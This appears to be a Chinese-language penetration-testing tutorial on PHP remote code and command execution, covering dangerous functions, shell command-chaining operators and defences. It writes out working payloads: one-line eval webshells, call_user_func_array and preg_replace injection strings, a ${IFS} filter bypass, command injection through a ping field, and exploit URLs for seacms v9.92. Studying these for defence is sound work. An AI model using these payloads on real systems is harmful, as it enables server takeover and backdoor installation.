滲透測試-17:CRE 漏洞
阿新 • • 發佈:2022-04-01
RCE
- RCE(Remot Command/Code Execute),遠端命令/程式碼執行
- 遠端命令執行:使用者可以控制系統命令執行函式的引數,也稱命令注入
- 遠端程式碼執行:使用者輸入的引數可以作為程式碼執行,也稱程式碼注入
- 命令執行可以看作是一種特殊的程式碼執行,程式碼執行相對會更加靈活
- 應用有時候會考慮程式碼的簡潔性、靈活性,會在程式碼中呼叫 eval 之類的函式
- 程式碼執行(注入)漏洞:在 web 方面是指應用程式過濾不嚴,使用者可以通過請求將程式碼注入到應用中由伺服器執行,導致一系列不可控的後果
PHP:eval assert Python:exec ASP:<%=CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%> Java:沒有類似函式,但採用的反射機制和各種基於反射機制的表示式引擎(OGNL、SpEL、MVEL等)有類似功能
遠端程式碼執行
漏洞危害
- 獲取當前檔案的絕對路徑
print __FILE__
- 讀取伺服器檔案
file_get_contents('C:\Windows\System32\drivers\etc\hosts')
- 在伺服器寫入一句話木馬
file_put_contents("xxx.php", '<?php @eval($_POST["cmd"]?>', FILE_APPEND | LOCK_EX); fwrite(fopen("xxx.php","a+"), '<?php @eval($_POST["cmd"]?>'); fputs(fopen("xxx.php","a+"), '<?php @eval($_POST["cmd"]?>');
- 執行 PHP 程式碼,獲取伺服器內容或相關資訊
echo eval("system(dir);")
$data = $_GET["data"];
eval("\$ret = strtolower(\"$data\");");
echo $ret;
post:
?data=");phpinfo();//
?data=${phpinfo()}
- 控制伺服器,利用 Shell 指令碼,上傳大馬,甚至控制伺服器
防禦方式
- 儘量不要使用
eval
assert
等危險函式 - 如果使用危險函式的話,一定要對輸入內容進行嚴格的過濾
-
preg_replace
不使用/e
修飾符 - 在
php.ini
disable_functions
漏洞查詢方法
-
程式碼審計
:最主要的方式,藉助程式碼審計工具,非常方便的審計出此類漏洞 -
已知的 CMS 漏洞
:已知的 CMS,有很多每年都會爆出來很多此類的漏洞 -
頁面傳參查詢
:針對頁面有傳參的地方,重點關注傳入惡意程式碼嘗試,概率相對較小
程式碼執行相關函式
// 執行程式碼的函式
eval()
- 將字串當作 PHP 程式碼執行
- 裡面引數的值 需要 ; 結尾
assert()
- 將字串當作 PHP 程式碼執行
- 裡面引數 不需要 ; 結尾
// 回撥函式
// preg_replace(pattern,replacement,subject)
- 執行一個正則表示式的搜尋和替換
- 當第一個引數中存在e修飾符時,第二個引數的值會被當成PHP程式碼來執行
- 注意:該函式在 5.5 之後版本被棄用,7.0 之後不支援
preg_replace("/<data>(.*?)<\/data>/e", 'system("id")', '<data>phpinfo()</data>');
preg_replace("/<data>(.*?)<\/data>/e", '$ret=strtolower(\\1)', '<data>phpinfo()</data>');
preg_replace("/<data>(.*?)<\/data>/e", '$ret="\\1"', '<data>${phpinfo()}</data>');
// call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed
$fun = $_GET['fun'];
$para = $_GET['para'];
call_user_func($fun,$para);
// call_user_func_array(callable $callback, array $param_arr): mixed
post => ?fun=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php eval($_POST["cmd"]);?>' > shell.php
post => ?fun=call_user_func_array&vars[0]=system&vars[1][]=test.php&vars[1][]=<?php eval($_POST["cmd"];?>
// 動態函式
$fun = $_GET['fun'];
$para = $_GET['para'];
$fun($para);
反序列化:unserialize()
遠端命令執行
- 應用程式中有時會呼叫一些系統命令函式,比如 php 中使用 system、exec、shell_exec 等函式可以執行系統命令,當攻擊者可以控制這些函式中的引數時,就可以將惡意命令拼接到正常命令中,從而造成命令執行攻擊
- 命令執行漏洞,屬於高危漏洞之一,也可以算是一種特殊的程式碼執行
產生原因
- 使用者可以控制輸入的內容
- 使用者輸入的內容被當作命令執行
例:日常的網路訪問中,我們常常可以看到某些Web網站具有執行系統命令的功能,比如:有些網站提供 ping 功能,我們可以輸入一個 IP 地址,它就會幫我們去嘗試 ping 目標的 IP 地址,而我們則可以看到執行結果
防禦方式
- 儘量不要使用命令執行函式
- 客戶端提交的變數在進入執行命令函式方法之前,一定要做好過濾,對敏感字元進行轉義
- 在使用動態函式之前,確保使用的函式是指定的函式之一
- 對 PHP 語言來說,不能完全控制的危險函式最好不要使用
執行多條語句(windows)
命令格式 | 函式 |
---|---|
command1 & command2 | 前面和後面命令都要執行,無論前面真假 |
command1 && command2 | 如果前面為假,後面的命令也不執行,如果前面為真則執行兩條命令 |
command1 || command2 | 如果前面命令是錯的那麼就執行後面的語句,否則只執行前面的語句 |
command1 | command2 | 直接執行後面的語句 |
執行多條語句(linux)
命令格式 | 函式 |
---|---|
command1 ; command2 | 前面和後面命令都要執行,無論前面真假 |
command1 & command2 | 前面和後面命令都要執行,無論前面真假 |
command1 && command2 | 如果前面為假,後面的命令也不執行,如果前面為真則執行兩條命令 |
command1 || command2 | 如果前面命令是錯的那麼就執行後面的語句,否則只執行前面的語句 |
command1 | command2 | 直接執行後面的語句 |
命令執行相關函式
// 執行外部程式,並且顯示輸出
system(string $command, int &$return_var = ?): string
system('whoami')
// 將反引號(``)中的內容作為 shell 命令來執行,並將其輸出資訊返回,效果與函式 shell_exec() 相同
echo `whoami`;
// shell_exec():通過 shell 環境執行命令,並且將完整的輸出以字串的方式返回
shell_exec('id');
// 執行 command 引數所指定的命令
exec(string $command, array &$output = ?, int &$return_var = ?): string
exec('whoami', $output);
print_r($output);
// 執行外部程式並且顯示原始輸出
passthru(string $command, int &$return_var = ?): void
passthru('whoami')
// 開啟一個指向程序的管道,該程序由派生給定的 command 命令執行而產生
popen(string $command, string $mode): resource
// 執行一個命令,並且開啟用來輸入/輸出的檔案指標,類似 popen() 函式,但是 proc_open() 提供了更加強大的控制程式執行的能力
proc_open(
mixed $cmd,
array $descriptorspec,
array &$pipes,
string $cwd = null,
array $env = null,
array $other_options = null
): resource
// 以給定引數執行程式
pcntl_exec(string $path, array $args = ?, array $envs = ?): void
靶場練習
程式碼執行
基本方式
phpinfo();
file_put_contents("shell.php","<?php @eval(\$_POST['cmd']);?>")
seacms-v9.92 漏洞
/comment/api/index.php?gid=1&page=2&rlist[]=*hex/@eval($_GET[a]);?>
/data/mysqli_error_trace.php?a=phpinfo();
命令執行
基本繞過
1.檢視目錄下的檔案
ls // 無回顯
|ls
2.讀取key.php
|cat key.php // 報錯
|cat${IFS}key.ph?
3.在原始碼中找到key
基本方式
127.0.0.1 & echo "<?php @eval($_POST['cmd']);?>" > shell.php
// 或
| echo "<?php @eval(\$_POST['cmd']);?>" > shell.php
| cat shell.php